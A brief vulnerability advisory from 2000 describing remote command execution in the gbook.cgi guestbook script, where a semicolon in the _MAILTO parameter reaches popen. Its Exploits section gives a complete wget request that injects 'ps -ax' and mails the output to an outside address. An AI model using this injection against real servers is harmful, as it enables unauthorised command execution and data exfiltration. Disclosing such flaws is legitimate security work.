Bug Report

1. Name: gbook.cgi remote command execution vulnerability

2. Release Date: 2000.11.10

3. Affected Application:
   GBook - A web site guestbook
   By Bill Kendrick
   [email protected]
   http://zippy.sonoma.edu/kendrick/

4. Author: [email protected]

5. Type: Input validation Error

6. Explanation
   gbook.cgi is used by some web sites.
   We can set _MAILTO parameter, and popen is called to execute mail command.
   If ';' is used in _MAILTO variable, you can execute arbitrary command with it.
   It's so trivial. :)

7. Exploits
   This exploit executes "ps -ax" command and sends the result to [email protected].

wget
"http://www.victim.com/cgi-bin/gbook/gbook.cgi?_MAILTO=oops;ps%20-ax|mail%[email protected]&_POSTIT=yes&_NEWONTOP=yes&_SHOWEMAIL=yes&_SHOWURL=yes&_SHOWCOMMENT=yes&_SHOWFROM=no&_NAME=hehe&[email protected]&_URL=http://www.yaho.com&_COMMENT=fwe&_FROM=few"

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